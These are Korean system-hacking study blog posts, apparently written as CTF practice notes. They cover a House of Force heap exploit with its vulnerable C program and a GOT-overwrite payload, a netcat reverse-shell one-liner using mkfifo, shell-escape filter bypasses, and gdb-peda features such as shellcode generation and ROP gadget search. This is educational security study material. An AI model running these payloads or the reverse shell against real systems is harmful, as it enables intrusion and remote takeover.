House of Force란 

Top chunk영역의 값을 덮어서 공격자가 원하는 위치에 값을 넣을 수 있는 기법이다.

우선 예시 코드다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void shell()
{
	system("/bin/sh");
}

int main(int argc, char *argv[])
{
	char *buf1, *buf2, *buf3;
	if (argc != 4) return;

	buf1 = malloc(256);
	strcpy(buf1, argv[1]);

	buf2 = malloc(strtoul(argv[2], NULL, 16));

	buf3 = malloc(256);
	strcpy(buf3, argv[3]);

	free(buf3);
	free(buf2);
	free(buf1);

	return 0;
}

이 코드에선 strcpy로 첫번째 메모리에서 top chunk의 사이즈를 0xffffffff로 덮어버리고 

두번째 malloc의 사이즈를 변조해서 세번째 malloc의 chunk를 원하는 주소로 할당시킬 수 있다.


참고한 사이트에 의하면 Top chunk 를 0xffffffff로 덮는 이유가 두번째 malloc에서 exploit을 가능케 하는 충분히 큰 malloc을 호출하기 위함이라고 한다는데 좀 이해가 안간다.. 계속 곱씹어보며 생각해봐야겠다..

우선 더미 top chunk를 덮었다.

그 다음은 malloc(argv[2])을 할텐데 여기서 공격자가 원하는 크기의 메모리를 할당 받을 수 있다.

우선 두번째 malloc()을 하게되면 0x0804b110부터 값이 들어가게 된다. 즉 만약 malloc(0x20)을 한다면 0x0804b110 + 0x20 = 0x804B130부터 메모리를 할당받는다는 소리다.

다시말해 이 곳의 사이즈에 들어갈 값은 공격자가 임의로 할당받기 원하는 주소의 값을 잘 계산해서 넣어야 한다는 말이다.

이 곳에 값을 넣기 위한 공식은

&target - &top_chunk - 0x8

이다.

왜 -0x8하는지는 top_chunk위치에서 prev_size와 size의 크기가 포함된것을 빼 준 것이다. (32비트에선 8을 빼주었고, 64비트에선 16을 빼준다.)

이 바이너리에서는 free@got에 새로운 메모리를 할당받아 보겠다.

그러면 공식에 대입해보면 free@got(0x804a00c) - top_chunk(0x0804b110) - 0x8 = 0xffffeef4가 나온다.

이제 이 값을 argv[2]에 넣으면 두번째 malloc(0xffffeef4)에서 free@got에 0xffffeef4만큼의 size로 메모리를 할당받게 된다.

그리고 세번째 malloc은 free@got-4에 할당된다. 이게 왜 이렇지??? 이해가 안된다...? 계산을 해봐도 이해가 안가네.. 이것도 계속 생각해봐야겠다.

그리고 이제 argv[3]에 넣은 8바이트의 뒤 4바이트가 free@got에 들어가게 될 것이다.

payload

r `python -c 'print "A"*260 + "\xff\xff\xff\xff"'` FFFFEEF4 `python -c 'print "CCCCDDDD"'`

free@got에서 터진 것을 보면 알 수 있다.


일단 어느정도 이해는 완료 했는데 아직 이해가 안가는 두 부분 때문에 계속 곱씹으면서 생각하면서 디버깅 해봐야겠다.


Ref.http://err0rless313.tistory.com/entry/The-House-of-Force-kor

Ref.https://www.lazenca.net/display/TEC/The+House+of+Force

'HACKING > System hacking' 카테고리의 다른 글

vim jail 문제  (0) 2018.09.08
gdb 멀티프로세스 디버깅  (0) 2018.08.27
파일 디스크립터  (0) 2018.08.04
리버스 쉘(nc via mkfifo)  (0) 2018.07.28
python의 pickle 모듈 취약점  (0) 2018.07.28

nc -e 옵션대신 리버스쉘을 할 수 있는 방법


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP ADDRESS] [PORT] >/tmp/f



Ref.http://kaka09.tistory.com/32?category=626537

'HACKING > System hacking' 카테고리의 다른 글

The House of Force  (0) 2018.08.23
파일 디스크립터  (0) 2018.08.04
python의 pickle 모듈 취약점  (0) 2018.07.28
_start() 함수  (0) 2018.07.27
nc -e 옵션 사용이 안될때  (0) 2018.07.19

http://blog.tunz.kr/119

'HACKING > System hacking' 카테고리의 다른 글

파일 디스크립터  (0) 2018.08.04
리버스 쉘(nc via mkfifo)  (0) 2018.07.28
_start() 함수  (0) 2018.07.27
nc -e 옵션 사용이 안될때  (0) 2018.07.19
gdb-peda 기능들  (0) 2018.07.08

일반적으로 프로그램이 시작하면 맨 처음 main함수가 실행 된다고 알고 있는데.. 메인함수를 실행 시키기 위한 환경을 만들어 주는 과정이 있다.

 

이 과정에서 먼저 실행되는 함수가 있는데 _start()함수다.

메인함수도 이 _start()함수가 실행된 후에 실행되므로 main보다 먼저 실행이 된다.

 

우선 코드를 컴파일해서 확인해보자.

 

test1.c

#include<stdio.h>
#include<stdlib.h>
_start()
{
   exit(my_main());
}
int my_main()
{
   printf("Hello");
   return 0;
}

gcc  -nostartfiles  test1.c 

 

main함수 없이 코드를 작성했고 위와 같이 컴파일 한 후 실행시켜 봤다.

이처럼 메인함수 없이도 내 임의의 main을 실행 시킬 수 있다.

 

이제 gdb로 이 _start()함수를 확인해보자.

 

코드를 짠대로 _start()함수에서 my_main()을 콜한다.

 

만약 실제 main()함수를 실행할 때는 어떻게 동작하는지 이번엔 main()함수가 있는 코드를 작성해서 컴파일해봤다.

#include <stdio.h>

int main()
{
        printf("Hello");
        return 0;
}

 

먼저 이 코드를 컴파일을 해주고 gdb로 열었다.

_start()함수의 주소를 찾았다. 이제 여기서 main()을 call하는 부분을 확인해야한다.

 

해당 주소에 bp를 걸고 레지스터들을 확인해야 한다.

 

레지스터를 보면 64비트에선 rdi, rsi가 함수의 첫번째와 두번째 인자로 들어가는데 여기서 rdi와 rsi는 각각 main()함수 시작주소와 해당 함수의 첫번 째 인자를 넣는 것이다.

즉 call할때 첫번째 인자에는 실행시킬 함수를 주고, 두번째 인자에는 해당 함수에 들어갈 인자 값을 넣는 것이다.

 

이번에는 다시 main()함수가 없는 test1.c의 my_main()을 하는 부분에 bp를 걸고 다시 확인해보자.

이번에는 my_main()함수를 직접 호출하기 때문에 rdi에는 어떤 0을 가리키는 값이 들어갔고 rsi에는 또 1이 들어갔다.

정확히 확인해보기 위해 이번에는 my_main()함수에 인자를 추가해야겠다.

 

#include<stdio.h>
#include<stdlib.h>
_start()
{
   exit(my_main(31));
}
int my_main(int i)
{
   printf("Hello");
   return 0;
}

 

이번에도 똑같이 컴파일한 후 gdb로 확인해봤다.

이번에는 rdi에 my_main()의 첫번째 인자엔 십진수로 33인 0x1f가 들어가 있다.

이제 대충 _start()함수의 원리를 아주 조금 안 것 같다.

다음엔 직접 libc의 소스를 보면서 파악을 해봐야 겠다.

===========================================================================

start In Kernel

- start_kernel 함수

 

ref.http://egloos.zum.com/studyfoss/v/5283161

ref.https://stackoverflow.com/questions/5764298/how-to-compile-c-source-code-without-a-main-function

ref.https://tistory.0wn.kr/368

'HACKING > System hacking' 카테고리의 다른 글

리버스 쉘(nc via mkfifo)  (0) 2018.07.28
python의 pickle 모듈 취약점  (0) 2018.07.28
nc -e 옵션 사용이 안될때  (0) 2018.07.19
gdb-peda 기능들  (0) 2018.07.08
Shell Escaping tips  (0) 2018.06.23

nc를 통해 리버스쉘을 연결하려고 하는데 사진처럼 -e 옵션이 유효하지 않다고 할 때 해결법이다.


검색을 해보니 이 상황은 -e 옵션이 비활성화되어 설치됐기 때문에 Attacker에 리버스연결을 할 수 없는 거라고 한다. (실제 시스템에선 비활성화 돼있으면 못하겠네..?)

$ sudo apt-get install netcat-traditional
$ sudo update-alternatives --config nc

netcat-traditional을 설치하고

traditional을 선택해주면 된다.


'HACKING > System hacking' 카테고리의 다른 글

python의 pickle 모듈 취약점  (0) 2018.07.28
_start() 함수  (0) 2018.07.27
gdb-peda 기능들  (0) 2018.07.08
Shell Escaping tips  (0) 2018.06.23
ROP를 익히기 좋은 문제들  (0) 2018.05.18

출처 : https://hexa-unist.github.io/2015/02/26/PEDA-How-To-Use/

PEDA 기본 인터페이스

우선 PEDA의 기본적인 화면은 위와 같습니다.

display 같은 걸 해주지 않으면 기본적으로 화면에 아무것도 안 나오는 gdb와 달리 PEDA는 기본적으로 현재 레지스터의 상태와 실행 중인 명령어와 그 주변 명령어들, 스택의 내용물 등을 표시해줍니다.

특히나 정말 멋진 기능 중 하나는 포인터를 따라가서 그 내용물까지 보여주는 기능입니다.
위 그림에서 레지스터 부분이나 스택 부분을 보면 포인터를 따라가서 그 안의 내용까지 보여주는 걸 볼 수 있습니다. PEDA 짱짱맨!!

그러면 이제 PEDA의 다양한 기능들을 하나씩 하나씩 들여다보겠습니다.

pdisas

pdisas는 gdb에서 쓰던 disas 명령어의 확장판입니다.

위 그림을 보면 알 수 있듯이 pdisas를 사용하면 알록달록한! 컬러풀한! 가독성이 더 높아진 버전의 disas 결과물을 볼 수 있습니다. PEDA는 gdb의 확장이므로 물론 원래 gdb의 기능들도 모두 사용 가능합니다. 그래서 pdisas 와 disas를 위 그림처럼 비교해보면 확실히 pdisas가 컬러링이 잘 돼있어 가독성이 높은 걸 알 수 있습니다.

How to use

1
gdb-peda$ pdisas "Function Name"

Example

1
gdb-peda$ pdisas main

context code / register / stack

context 명령어는 별다른 기능이 아니라 맨 처음에 보여드렸던 PEDA 기본인터페이스 에서 code영역 register영역 stack영역을 따로 따로 볼 수 있는 기능입니다.

How to use

1
gdb-peda$ context "code/register/stack/all" ( context 만 입력시엔 context all 과 같습니다. )

Example

1
2
3
gdb-peda$ context
gdb-peda$ context code
gdb-peda$ context all

session save / restore

session 명령어! 정말 편리한 기능을 제공하는 명령어입니다.
기존 gdb에서는 열심히 분석하면서 break point도 걸어놓고 watch point도 걸어놓고 해 놓더라도 gdb를 껐다 다시 키면 전부 없어지는데 peda에서는 session이라는 명령어로 break point와 같은 설정들을 저장하고 불러오는게 가능합니다.

위 그림에서도 맨 처음에 info b 를 했을때, “No breakpoints or watchpoints” 가 나오는데 session restore 명령어를 치고 난 후 info b 를 해보면 저장해 놓았던 설정들을 그대로 가져오는 것을 볼 수 있습니다.

How to use

1
2
gdb-peda$ session save "파일이름" ( 파일이름 생략시엔 peda-session-"실행파일이름".txt 로 저장 )
gdb-peda$ session restore "파일이름" ( 파일이름 생략시엔 peda-session-"실행파일이름".txt 로드 )

Example

1
2
3
4
gdb-peda$ session save
gdb-peda$ session restore
gdb-peda$ session save MySession
gdb-peda$ session restore MySession

snapshot save / restore

이것도 상당히 재밌는 기능인데, session 이 break point나 watch point 들을 저장하고 불러온다면 이 명령어는 아예 현재 디버깅중인 프로세스의 스냅샷을 찍어 저장하고 불러올수있게 합니다. 사용법은 session과 동일합니다.

vmmap

이 명령어는 현재 디버깅 중인 프로세스의 Virtual Memory MAP을 보여줍니다.
그냥 vmmap 만 입력할 시에는 vmmap all 과 같으며 위 그림과 같이 vmmap binary, vmmap stack 이런 식으로 특정 메모리 영역만 볼 수도 있습니다.

원래 gdb로 했었더라면 현재 프로세스의 pid를 알아내고 shell cat /proc/“pid”/maps 를 해서 봐야 했을 텐데 PEDA를 사용하면 아주 간단하게 메모리 매핑 상태를 보는 게 가능합니다.

여기서 추가적으로 더 나아가서 얘기하자면, vmmap stack을 사용해서 현재 stack의 권한을 보고 해당 바이너리가 NX가 걸렸는지 안 걸렸는지도 알 수 있습니다.

How to use

1
gdb-peda$ vmmap "all/binary/libc/stack/ld ..." ( 인자를 생략할 시에는 vmmap all 과 같습니다. )

Example

1
2
3
gdb-peda$ vmmap
gdb-peda$ vmmap libc
gdb-peda$ vmmap stack

checksec

이 명령어는 현재 바이너리에 걸려있는 보안 기법들을 보여줍니다. 사용법은 간단히 그냥 checksec을 입력하기만 하면됩니다. 근데 여기서 주의해야 할 게 다른 건 몰라도 여기서 표시되는 NX는 별로 신뢰하지 않는 게 좋습니다. 버그가 있는지는 몰라도 NX가 안 걸려있는데 걸려있다고 나온다던가… 이런 경우가 몇 번 있어서 통수 맞은 적이 있네요 ㅠㅠ

그래서 밑에서 소개할 nxtest 라는 명령어 또는 vmmap stack과 같은 명령어로 다른방법을 사용해서 NX는 따로 체크해주시는게 좋을 것 같습니다.

How to use

1
gdb-peda$ checksec

nxtest

nxtest는 말그대로 NX 가 걸려있는지 테스트 해주는 명령어로 스택에 실행권한이 있는지 체크합니다.

How to use

1
gdb-peda$ nxtest

procinfo / getpid

procinfo 는 현재 디버깅중인 프로세스의 정보를 위 그림과 같이 표시해 줍니다.
pid만 필요하다면 getpid 명령어를 사용하는걸로 pid만 얻을수도 있습니다.

How to use

1
2
gdb-peda$ procinfo
gdb-peda$ getpid

elfsymbol

이게 또 참 편리한 기능인데, elfsymbol이라는 명령어로 현재 디버깅 중인 바이너리의 plt 주소, got 주소 등을 알 수 있습니다. exploit 코드를 작성할 때 got overwrite을 한다거나 got 주소를 leak 시켜온다거나 여러 가지의 상황에서 plt 주소와 got 주소가 필요한 경우가 종종 있는데 이럴때 elfsymbol 명령어를 이용하면 아주 쉽게 정보를 얻을 수 있습니다.

How to use

1
gdb-peda$ elfsymbol "symbol" ( 인자를 생략하면 symbol들을 모두 보여줍니다. )

Example

1
2
gdb-peda$ elfsymbol
gdb-peda$ elfsymbol printf

elfheader

elfheader 명령어는 현재 디버깅 중인 바이너리의 헤더 정보들을 보여줍니다. 이 기능도 exploit 코드를 작성할 때 종종 bss 영역의 주소가 필요하다거나 하는 경우가 있는데 이럴 때 사용하면 유용합니다.

How to use

1
gdb-peda$ elfheader

Example

1
2
gdb-peda$ elfheader
gdb-peda$ elfheader .bss

find / searchmem

find와 searchmem 은 동일한 명령어로 아무거나 선호하는 걸로 사용하시면 되며, 이 명령어는 메모리 영역에서 특정 패턴을 찾아줍니다.
다양한 방법으로 응용될 수 있는데, 몇가지 예시를 들자면 위 그림과 같이 /bin/sh 문자열의 주소를 찾는다던가 특정 OPCODE를 메모리에서 찾는다던가 하는게 가능합니다.

How to use

1
gdb-peda$ find/searchmem "pattern" "범위" ( 범위부분을 생략하면 binary 영역으로 세팅 됩니다.)

Example

1
gdb-peda$ find /bin/sh libc

ropgadget / ropsearch / dumprop

ropgadget 과 ropsearch 명령어는 ROP를 할 때 필요한 가젯들을 쉽게 찾을 수 있도록 도와주는 명령어입니다. ropgadget은 자주 쓰이는 가젯들인 pop-ret, leave-ret, add esp 와 같은 가젯들을 찾아줍니다. 또한 ropsearch는 원하는 특정 가젯을 찾을 수 있도록 도와줍니다.

dumprop도 비슷한 명령어인데, 이 명령어는 특정 가젯을 찾기 보다 특정 메모리 영역에서 모든 가젯들을 보고 싶을 때 유용합니다. 하지만 ropsearch ‘’ binary 이런 식으로 사용하면 ropsearch 로도 dumprop와 비슷하게 사용할 수 있습니다.

How to use

1
2
3
gdb-peda$ ropgadget binary/libc/vdso/all ... ( 인자를 생략하면 ropgadget binary 와 같습니다. )
gdb-peda$ ropsearch "gadget" "범위" ( gadget 부분을 '' 로 빈 상태로 보내면 모든 가젯을 찾습니다. )
gdb-peda$ dumprop "범위" ( 인자를 생략하면 dumprop binary 와 같습니다. )

Example

1
2
3
4
5
6
7
8
gdb-peda$ ropgadget
gdb-peda$ ropgadget libc
gdb-peda$ ropsearch "add esp, ?" binary
gdb-peda$ ropsearch "int 0x80" libc
gdb-peda$ ropsearch "" binary ( binary 범위에서 모든 가젯을 찾습니다. )
gdb-peda$ ropsearch "pop ?" 0x08048000 0x0804b000
gdb-peda$ dumprop binary
gdb-peda$ dumprop 0x08048000 0x0804b000

jmpcall

이 명령어도 ROP 할 때 유용한 가젯들을 찾아주는데, 그중 jmp와 call 가젯들을 전부 찾아줍니다. 그냥 jmpcall 만 입력하면 바이너리 영역 내의 모든 jmp, call 가젯들을 찾아주며 jmpcall esp libc 처럼 특정 메모리 영역 내의 특정 jmp, call 가젯들만 찾을 수도 있습니다.

How to use

1
gdb-peda$ jmpcall "register" "범위" (인자들을 모두 생략하면 jmpcall "" binary 와 같으며, 바이너리 영영 내 모든 jmp, call 가젯들을 찾아줍니다.)

Example

1
2
3
4
5
gdb-peda$ jmpcall
gdb-peda$ jmpcall "" libc
gdb-peda$ jmpcall esp libc
gdb-peda$ jmpcall [eax] libc
gdb-peda$ jmpcall eax ( jmpcall eax binary 와 같습니다. )

shellcode

PEDA에는 기본적으로 제공해주는 쉘코드가 몇 가지 있는데 shellcode generate 란 명령어로 현재 가능한 쉘코드 종류를 볼 수 있고, shellcode generate x86/linux exec 이런 식으로 지정하여 필요한 쉘코드를 바로바로 얻을 수도 있습니다.

현재 PEDA에 기본적으로 내장되어 있는 쉘코드는 x86/linux, bsd 뿐이지만 shellcode search나 display로 쉘코드를 웹에서 가져올 수도 있습니다.

Example

1
gdb-peda$ shellcode generate x86/linux exec

이 외에도 PEDA는 많은 기능들을 제공하는데, PEDA에서 제공하는 다른 기능들도 살펴보시고 싶으시면, phelp 또는 peda help 를 입력하셔서 쭉 훑어보시면 됩니다.

PEDA 명령어나 명령어 활용법에 대해 다른 참고할만한 자료 및 사이트

  1. http://ropshell.com/peda/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf
  2. http://security.cs.pub.ro/hexcellents/wiki/kb/toolset/peda


'HACKING > System hacking' 카테고리의 다른 글

_start() 함수  (0) 2018.07.27
nc -e 옵션 사용이 안될때  (0) 2018.07.19
Shell Escaping tips  (0) 2018.06.23
ROP를 익히기 좋은 문제들  (0) 2018.05.18
알아두면 좋은 명령어 모음 (다시 정리하자)  (0) 2018.05.13

보통 쉘 이스케이프 문제가 나오면 cat 이나 flag 라는 문자열을 막는데 개꿀 명령어들이 있다. 

fold : cat 하고 똑같음 nl : cat하고 똑같은데 줄 번호까지 보여줌 

`<[filename]` 하면 파일 소스 한 줄 보여준다.


출처

http://chaneyoon.tistory.com/385?category=663910

'HACKING > System hacking' 카테고리의 다른 글

nc -e 옵션 사용이 안될때  (0) 2018.07.19
gdb-peda 기능들  (0) 2018.07.08
ROP를 익히기 좋은 문제들  (0) 2018.05.18
알아두면 좋은 명령어 모음 (다시 정리하자)  (0) 2018.05.13
libc-database 사용법  (0) 2018.05.13

pCTF 2013 ropasaurusrex

codegate2013 vuln20

pCTF2013 pork

codegate2014 nuclear

codegate2014 angry_doraemon

exploit-exercises.com fusion level0~4

JFF3 vaja, mipsaurusrex

'HACKING > System hacking' 카테고리의 다른 글

gdb-peda 기능들  (0) 2018.07.08
Shell Escaping tips  (0) 2018.06.23
알아두면 좋은 명령어 모음 (다시 정리하자)  (0) 2018.05.13
libc-database 사용법  (0) 2018.05.13
64bit rop tip  (0) 2018.05.13

+ Recent posts